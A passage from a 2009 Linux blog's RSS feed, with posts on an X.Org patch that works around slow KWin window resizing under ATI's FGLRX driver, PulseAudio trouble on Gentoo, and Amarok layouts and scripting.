<p><i>PPS: Is there a future relationship between Plasma and Maemo beyond <a href="http://www.kdedevelopers.org/node/4078" onclick="pageTracker._trackPageview('/outgoing/www.kdedevelopers.org/node/4078?referer=');">neat hacks</a>?</i></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/202#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=202" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F202&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/202"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/202"  data-text="Maemo 5 or Maemo 6?" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/202"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/202/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Fast Compositing with KDE4 and FGLRX</title>
		<link>http://blog.zx2c4.com/190</link>
		<comments>http://blog.zx2c4.com/190#comments</comments>
		<pubDate>Tue, 08 Sep 2009 03:30:34 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ATI]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[KWin]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=190</guid>
		<description><![CDATA[After a much heated discussion about how to fix the horrible resizing and performance bug with FGLRX and KDE4, no one knew where to start looking. The X team had to do a little digging; the KDE4 team needed to change somethings; the FGLRX warehouse needed to get their shit together and listen to the [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/190#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=190" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>After a <a href="http://blog.zx2c4.com/169">much heated discussion</a> about how to fix the horrible resizing and performance bug with FGLRX and KDE4, no one knew where to start looking. The X team had to do a little digging; the KDE4 team needed to change somethings; the FGLRX warehouse needed to get their shit together and listen to the users&#8230; bla bla bla the flame wars raged on, fingers were pointed, and nothing ever got done.</p>
<p>That is, nothing got done until a lone user piped up with a workaround. Here is what he wrote in the <a href="http://blog.zx2c4.com/169#comment-404">comments</a> of that blog post:</p>
<blockquote><p>Hi, I have been pissed off by this problem a long time and assumed it was ATI’s fault. Tonight I made one last effort before ordering a Nvidia graphics card. And I was successful.</p>
<p>I am running catalyst 9.8 using a Radeon 3850 and have had this re-size/maximize problem as long as long as I have used KDE4. To solve the problem I needed to modify a file in xorg-server. in the code directory it is called ./composite/compalloc.c. Here I commented out most of a function called compNewPixmap. Everything below these lines:</p>
<p>pPixmap->screen_x = x;<br />
pPixmap->screen_y = y;</p>
<p>all the way down to (but not including) the last line:</p>
<p>return pPixmap;</p>
<p>After this I am running KDE4 with all desktop effects that I want and without any lag in resizing/maximizing.<br />
I am running Gentoo, so I just updated the xorg-server source package file and put it back into the source repository, rebuilt the manifest and emerged it again. Voila!</p></blockquote>
<p>Voila indeed. The patch he&#8217;s talking about looks like this (thanks to <a href="http://razum2um.alwaysdata.net/2009/09/08/fglrx-na-gentoo/" onclick="pageTracker._trackPageview('/outgoing/razum2um.alwaysdata.net/2009/09/08/fglrx-na-gentoo/?referer=');">this Russian blog I can&#8217;t read</a>):</p>

<div class="wp_syntax"><div class="code"><pre class="diff" style="font-family:monospace;"><span style="color: #888822;">--- composite/compalloc.c.orig  2009-09-08 02:54:28.657143479 +0700                              </span>
<span style="color: #888822;">+++ composite/compalloc.c       2009-09-08 02:55:42.835357653 +0700                              </span>
<span style="color: #440088;">@@ -484,64 +484,6 @@                                                                             </span>
     pPixmap-&gt;screen_x = x;                                                                      
     pPixmap-&gt;screen_y = y;                                                                      
&nbsp;
<span style="color: #991111;">-    if <span style="">&#40;</span>pParent-&gt;drawable.depth == pWin-&gt;drawable.depth<span style="">&#41;</span>                                        </span>
<span style="color: #991111;">-    <span style="">&#123;</span>                                                                                           </span>
<span style="color: #991111;">-       GCPtr   pGC = GetScratchGC <span style="">&#40;</span>pWin-&gt;drawable.depth, pScreen<span style="">&#41;</span>;                              </span>
<span style="color: #991111;">-                                                                                                </span>
<span style="color: #991111;">-       /*                                                                                       </span>
<span style="color: #991111;">-        * Copy bits from the parent into the new pixmap so that it will                         </span>
<span style="color: #991111;">-        * have &quot;reasonable&quot; contents in case for background None areas.                         </span>
<span style="color: #991111;">-        */                                                                                      </span>
<span style="color: #991111;">-       if <span style="">&#40;</span>pGC<span style="">&#41;</span>                                                                                 </span>
<span style="color: #991111;">-       <span style="">&#123;</span>                                                                                        </span>
<span style="color: #991111;">-           XID val = IncludeInferiors;                                                          </span>
<span style="color: #991111;">-                                                                                                </span>
<span style="color: #991111;">-           ValidateGC<span style="">&#40;</span>&amp;pPixmap-&gt;drawable, pGC<span style="">&#41;</span>;                                                 </span>
<span style="color: #991111;">-           dixChangeGC <span style="">&#40;</span>serverClient, pGC, GCSubwindowMode, &amp;val, NULL<span style="">&#41;</span>;                        </span>
<span style="color: #991111;">-           <span style="">&#40;</span>*pGC-&gt;ops-&gt;CopyArea<span style="">&#41;</span> <span style="">&#40;</span>&amp;pParent-&gt;drawable,                                           </span>
<span style="color: #991111;">-                                  &amp;pPixmap-&gt;drawable,                                           </span>
<span style="color: #991111;">-                                  pGC,                                                          </span>
<span style="color: #991111;">-                                  x - pParent-&gt;drawable.x,                                      </span>
<span style="color: #991111;">-                                  y - pParent-&gt;drawable.y,                                      </span>
<span style="color: #991111;">-                                  w, h, <span style="">0</span>, <span style="">0</span><span style="">&#41;</span>;                                                  </span>
<span style="color: #991111;">-           FreeScratchGC <span style="">&#40;</span>pGC<span style="">&#41;</span>;                                                                 </span>
<span style="color: #991111;">-       <span style="">&#125;</span>                                                                                        </span>
<span style="color: #991111;">-    <span style="">&#125;</span>                                                                                           </span>
<span style="color: #991111;">-    else                                                                                        </span>
<span style="color: #991111;">-    <span style="">&#123;</span>                                                                                           </span>
<span style="color: #991111;">-       PictFormatPtr   pSrcFormat = compWindowFormat <span style="">&#40;</span>pParent<span style="">&#41;</span>;                                 </span>
<span style="color: #991111;">-       PictFormatPtr   pDstFormat = compWindowFormat <span style="">&#40;</span>pWin<span style="">&#41;</span>;                                    </span>
<span style="color: #991111;">-       XID             inferiors = IncludeInferiors;                                            </span>
<span style="color: #991111;">-       int             error;                                                                   </span>
<span style="color: #991111;">-                                                                                                </span>
<span style="color: #991111;">-       PicturePtr      pSrcPicture = CreatePicture <span style="">&#40;</span>None,                                       </span>
<span style="color: #991111;">-                                                    &amp;pParent-&gt;drawable,                         </span>
<span style="color: #991111;">-                                                    pSrcFormat,                                 </span>
<span style="color: #991111;">-                                                    CPSubwindowMode,                            </span>
<span style="color: #991111;">-                                                    &amp;inferiors,                                 </span>
<span style="color: #991111;">-                                                    serverClient, &amp;error<span style="">&#41;</span>;                      </span>
<span style="color: #991111;">-                                                                                                </span>
<span style="color: #991111;">-       PicturePtr      pDstPicture = CreatePicture <span style="">&#40;</span>None,                                       </span>
<span style="color: #991111;">-                                                    &amp;pPixmap-&gt;drawable,                         </span>
<span style="color: #991111;">-                                                    pDstFormat,</span>
<span style="color: #991111;">-                                                    0, 0,</span>
<span style="color: #991111;">-                                                    serverClient, &amp;error<span style="">&#41;</span>;</span>
<span style="color: #991111;">-</span>
<span style="color: #991111;">-       if <span style="">&#40;</span>pSrcPicture &amp;&amp; pDstPicture<span style="">&#41;</span></span>
<span style="color: #991111;">-       <span style="">&#123;</span></span>
<span style="color: #991111;">-           CompositePicture <span style="">&#40;</span>PictOpSrc,</span>
<span style="color: #991111;">-                             pSrcPicture,</span>
<span style="color: #991111;">-                             NULL,</span>
<span style="color: #991111;">-                             pDstPicture,</span>
<span style="color: #991111;">-                             x - pParent-&gt;drawable.x,</span>
<span style="color: #991111;">-                             y - pParent-&gt;drawable.y,</span>
<span style="color: #991111;">-                             <span style="">0</span>, <span style="">0</span>, <span style="">0</span>, <span style="">0</span>, w, h<span style="">&#41;</span>;</span>
<span style="color: #991111;">-       <span style="">&#125;</span></span>
<span style="color: #991111;">-       if <span style="">&#40;</span>pSrcPicture<span style="">&#41;</span></span>
<span style="color: #991111;">-           FreePicture <span style="">&#40;</span>pSrcPicture, <span style="">0</span><span style="">&#41;</span>;</span>
<span style="color: #991111;">-       if <span style="">&#40;</span>pDstPicture<span style="">&#41;</span></span>
<span style="color: #991111;">-           FreePicture <span style="">&#40;</span>pDstPicture, <span style="">0</span><span style="">&#41;</span>;</span>
<span style="color: #991111;">-    <span style="">&#125;</span></span>
     return pPixmap;
 <span style="">&#125;</span></pre></div></div>

<p>This patch works like a charm. All of the FGLRX resizing/maximizing bugs disappear. Not only that, but things like clicking on the K menu are suddenly a lot faster&#8230; KDE4 doesn&#8217;t seem laggy and now has the performance I&#8217;ve expected all along. The effects look great, and my transparent terminal is a delight.</p>
<p>There is, however, a bit of garbage that shows up occasionally, and perhaps there&#8217;s a good use for the code that was removed in the patch. Why is it only FGLRX that benefits from removing this code? I don&#8217;t know much about XOrg internals, but I&#8217;m guessing it has to do with some sort of sometimes-required allocation that causes a readback in the FGLRX driver but not in other drivers. What&#8217;s the deal? Is fixing this problem as simple as committing this patch and then fixing the garbage error? Or is the code that was removed necessary, and really the problem lays with FGLRX? What to do at this point?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/190#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=190" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F190&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/190"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/190"  data-text="Fast Compositing with KDE4 and FGLRX" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/190"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/190/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>PulseAudio Foray</title>
		<link>http://blog.zx2c4.com/188</link>
		<comments>http://blog.zx2c4.com/188#comments</comments>
		<pubDate>Fri, 28 Aug 2009 19:03:03 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[PulseAudio]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=188</guid>
		<description><![CDATA[I&#8217;ve taken then plunge: I just installed PulseAudio (PA) and related tools (on Gentoo). A lot of users are vehemently anti, stating numerous complications and bugs, but its potential advantages for networked audio are attractive. Evidently KMix is supposed to support PA, but it still only shows the alsa devices. I suspect this is related [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/188#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=188" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve taken then plunge: I just installed PulseAudio (PA) and related tools (on <a href="http://en.gentoo-wiki.com/wiki/PulseAudio" onclick="pageTracker._trackPageview('/outgoing/en.gentoo-wiki.com/wiki/PulseAudio?referer=');">Gentoo</a>). A lot of users are vehemently anti, stating numerous complications and bugs, but its potential advantages for networked audio are attractive.</p>
<p>Evidently KMix is supposed to support PA, but it still only shows the alsa devices. I suspect this is related to when PA is loaded, and currently I do not have any user-space loader. What&#8217;s the optimal way for this to happen in KDE? An autostart entry? Symlinking some mysterious file to kde&#8217;s env directory? All the forum posts are for older KDE versions. Phonon works so far though. All the PA apps are GTK/GConf based, and aren&#8217;t very KDE friendly, and generally it seems like KDE has neglected PA support, or PA has neglected KDE support. They simply aren&#8217;t very pretty together. What are the plans for integrating KDE and PA a little bit more closely?</p>
<p>I&#8217;m using a Macbook as a print server, printing to it from my Linux box, and everything is simple because they both use CUPS. However, I&#8217;m having a bit of trouble streaming audio to it. I can&#8217;t seem to build PA on OSX, and I don&#8217;t even think OSX is officially supported by PA. <a href="http://community.livejournal.com/evan_tech/241887.html" onclick="pageTracker._trackPageview('/outgoing/community.livejournal.com/evan_tech/241887.html?referer=');">I tried installing ESD using MacPorts and using PA&#8217;s bridge for that</a>, but it played a half a second of sound before skipping. ESD doesn&#8217;t do good latency calculations. PA supports streaming to Airport Express, so I thought I&#8217;d try out Airfoil Speakers, but unfortunately, <a href="http://getsatisfaction.com/rogueamoeba/topics/native_implementation_in_pulseaudio" onclick="pageTracker._trackPageview('/outgoing/getsatisfaction.com/rogueamoeba/topics/native_implementation_in_pulseaudio?referer=');">Airfoil uses a different protocol</a>. So I&#8217;m not sure what to do now&#8230; How do I send PA to my Macbook?</p>
<p>PA also doesn&#8217;t work well with Skype, and I anticipate some other problems as well. What a hassle. Why the bad integration with KDE? Why the numerous bugs? Any PA tips from veteran readers?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/188#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=188" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F188&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/188"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/188"  data-text="PulseAudio Foray" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/188"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/188/feed</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Slow Window Resizing with KWin Compositing on FGLRX</title>
		<link>http://blog.zx2c4.com/169</link>
		<comments>http://blog.zx2c4.com/169#comments</comments>
		<pubDate>Mon, 03 Aug 2009 03:20:56 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ATI]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[KWin]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=169</guid>
		<description><![CDATA[Update: check out this solution. Amongst users of the proprietary ATI driver (FGLRX), it&#8217;s a well known problem that KDE4&#8242;s KWin&#8217;s desktop effects are unusable due to turtle slow window resizing. Unfortunately, bug reports and forum posts fail to come up with a clear answer as to why this happens, who is responsibility for fixing [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/169#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=169" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><b>Update</b>: check out <a href="http://blog.zx2c4.com/190">this solution</a>.</p>
<p>Amongst users of the proprietary ATI driver (FGLRX), it&#8217;s a well known problem that KDE4&#8242;s KWin&#8217;s desktop effects are unusable due to turtle slow window resizing. Unfortunately, bug reports and forum posts fail to come up with a clear answer as to why this happens, who is responsibility for fixing it, and which parts of the stack need to adapt for the bug. If you&#8217;re not already familiar with the problem, observe:</p>
<p><object width="445" height="364"><param name="movie" value="http://www.youtube-nocookie.com/v/UCUBMRCoXVI&#038;hl=en&#038;fs=1&#038;rel=0&#038;color1=0x234900&#038;color2=0x4e9e00&#038;border=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/UCUBMRCoXVI&#038;hl=en&#038;fs=1&#038;rel=0&#038;color1=0x234900&#038;color2=0x4e9e00&#038;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="445" height="364"></embed></object><br />
<a href="http://www.youtube.com/watch?v=UCUBMRCoXVI" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=UCUBMRCoXVI&amp;referer=');">Direct YouTube Link</a></p>
<p>As you can see, the three second delay in window resizing, maximizing, and (perhaps) restoring makes compositing-enabled KWin unusable. Note that the problem still persists when disabling the &#8220;show window content while resizing&#8221; option.</p>
<p>It&#8217;s been particularly difficult to track down the route of this problem and who should be fixing it. From <a href="http://www.phoronix.com/forums/showthread.php?t=15163" onclick="pageTracker._trackPageview('/outgoing/www.phoronix.com/forums/showthread.php?t=15163&amp;referer=');">a lengthy discussion on Phoronix&#8217;s Forums</a>, ATI&#8217;s &#8220;Bridgman&#8221; user acknowledges the problem but claims &#8220;It&#8217;s not a driver issue AFAIK, so not sure why we would mention it in the release notes.&#8221; He goes on to indicate that the problem was introduced during a hack to ensure KWin compatibility on Intel cards, to work around a glitch with garbage appearing on the screen, and a lengthy debate over the &#8220;107_fedora_dont_backfill_bg_none.patch&#8221; patch. Somewhere the stack was patched to support Intel cards at the expense of ATI cards, according to ATI&#8217;s &#8220;Bridgman&#8221;. </p>
<p>Over on the KDE bugzilla, we&#8217;re met with a <a href="http://bugs.kde.org/show_bug.cgi?id=165011#c14" onclick="pageTracker._trackPageview('/outgoing/bugs.kde.org/show_bug.cgi?id=165011_c14&amp;referer=');">curt response from the KWin team</a>: &#8220;Driver bug then.&#8221; The bug is marked as &#8220;RESOLVED&#8221; and &#8220;UPSTREAM&#8221;.</p>
<p>And elsewhere on the Internet, we get a helpless string of &#8220;still not fixed&#8221; messages, over on the <a href="http://ati.cchtml.com/show_bug.cgi?id=1426" onclick="pageTracker._trackPageview('/outgoing/ati.cchtml.com/show_bug.cgi?id=1426&amp;referer=');">unofficial FGLRX bugzilla</a>, <a href="http://www.phoronix.com/forums/showthread.php?t=14848" onclick="pageTracker._trackPageview('/outgoing/www.phoronix.com/forums/showthread.php?t=14848&amp;referer=');">other Phoronix forum posts</a>, and <a href="http://bbs.archlinux.org/viewtopic.php?id=59315" onclick="pageTracker._trackPageview('/outgoing/bbs.archlinux.org/viewtopic.php?id=59315&amp;referer=');">distro forums</a>.</p>
<p>So I ask my readers: who is responsible for this bug and how will it be fixed? If indeed it is neither FGLRX nor KWin and the problem exists in XOrg, why has XOrg been patched to support Intel cards at the expense of ATI cards? Is there anything FGLRX or KWin could be doing to mitigate the problem? Potential workarounds? Users have complained of this problem for over a year now perhaps, but not once has leadership from anywhere offered a compelling explanation or plan for the future. What to do?</p>
<p><a href="http://blog.zx2c4.com/169#respond">Leave comments</a>. The current discussion seems to be fruitful.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/169#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=169" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F169&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/169"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/169"  data-text="Slow Window Resizing with KWin Compositing on FGLRX" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/169"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/169/feed</wfw:commentRss>
		<slash:comments>47</slash:comments>
		</item>
		<item>
		<title>Alternate Amarok 2.1 Layouts</title>
		<link>http://blog.zx2c4.com/153</link>
		<comments>http://blog.zx2c4.com/153#comments</comments>
		<pubDate>Mon, 13 Apr 2009 21:18:31 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Amarok]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=153</guid>
		<description><![CDATA[For those of you who long for the old Amarok 1.4 two-column layout, it is now possible to sort of simulate this behavior in Amarok 2.1 by careful dragging of splitters and customization of the playlist: It is also (nearly) possible to emulate the layout of Juk, iTunes, Banshee, or Rhythmbox:<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/153#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=153" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>For those of you who long for the old Amarok 1.4 two-column layout, it is now possible to sort of simulate this behavior in Amarok 2.1 by careful dragging of splitters and customization of the playlist:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/04/old-amarok-layout.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/04/old-amarok-layout-450x288.png" alt="Layout of Amarok 1.4 with Amarok 2" title="Layout of Amarok 1.4 with Amarok 2" width="450" height="288" class="aligncenter size-medium wp-image-155" /></a></p>
<p>It is also (nearly) possible to emulate the layout of Juk, iTunes, Banshee, or Rhythmbox:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/04/amarok-itunes-layout.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/04/amarok-itunes-layout-450x306.png" alt="Amarok 2 Can Look Like Juk, iTunes, Banshee, or Rhythmbox... sort of" title="Amarok 2 Can Look Like Juk, iTunes, Banshee, or Rhythmbox... sort of" width="450" height="306" class="aligncenter size-medium wp-image-154" /></a></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/153#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=153" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F153&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/153"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/153"  data-text="Alternate Amarok 2.1 Layouts" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/153"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/153/feed</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Amarok Scriptable Service for ZX2C4 Music</title>
		<link>http://blog.zx2c4.com/125</link>
		<comments>http://blog.zx2c4.com/125#comments</comments>
		<pubDate>Mon, 13 Apr 2009 03:40:14 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Amarok]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[ZX2C4 Music]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=125</guid>
		<description><![CDATA[As promised, I&#8217;ve written in under 100 lines of JavaScript (QtScript) a service for Amarok that plugs into ZX2C4 Music (ReadMe for ZX2C4 Music, Source for ZX2C4 Music). Obligatory screenshot: The Amarok scripting API is very slick, especially the scripted services API. It is not now configurable and is rather inefficient because getlisting.php does not [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/125#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=125" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>As promised, I&#8217;ve written in under 100 lines of JavaScript (<a href="http://doc.trolltech.com/qtscript.html" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/qtscript.html?referer=');">QtScript</a>) a service for <a href="http://amarok.kde.org" onclick="pageTracker._trackPageview('/outgoing/amarok.kde.org?referer=');">Amarok</a> that plugs into <a href="http://blog.zx2c4.com/14">ZX2C4 Music</a> (<a href="http://git.zx2c4.com/?p=zx2c4music.git;a=blob;f=README.txt" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git_a=blob_f=README.txt&amp;referer=');">ReadMe for ZX2C4 Music</a>, <a href="http://git.zx2c4.com/?p=zx2c4music.git;a=snapshot;h=HEAD;sf=tgz" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git_a=snapshot_h=HEAD_sf=tgz&amp;referer=');">Source for ZX2C4 Music</a>). Obligatory screenshot:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/04/amarok-scriptable-service.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/04/amarok-scriptable-service-450x300.jpg" alt="Amarok Scriptable Service for ZX2C4 Music" title="Amarok Scriptable Service for ZX2C4 Music" width="450" height="300" class="aligncenter size-medium wp-image-130" /></a><br />
The Amarok <a href="http://amarok.kde.org/wiki/Development/Scripting_HowTo_2.0" onclick="pageTracker._trackPageview('/outgoing/amarok.kde.org/wiki/Development/Scripting_HowTo_2.0?referer=');">scripting API</a> is very slick, especially the <a href="http://amarok.kde.org/wiki/Development/Scripted_Services_Tutorial_2.0" onclick="pageTracker._trackPageview('/outgoing/amarok.kde.org/wiki/Development/Scripted_Services_Tutorial_2.0?referer=');">scripted services API</a>.</p>
<p>It is not now configurable and is rather inefficient because getlisting.php does not support very complex queries (though I do take advantage of its sorting on lines 54-57), but this will be changed by the time I release an installable version of the script. Currently, it downloads a listing of the entire collection during the first request (lines 27-33), and then just reads from an in-memory database (multidimensional array) to query the different levels (lines 34-95). TMI: too much iteration.</p>
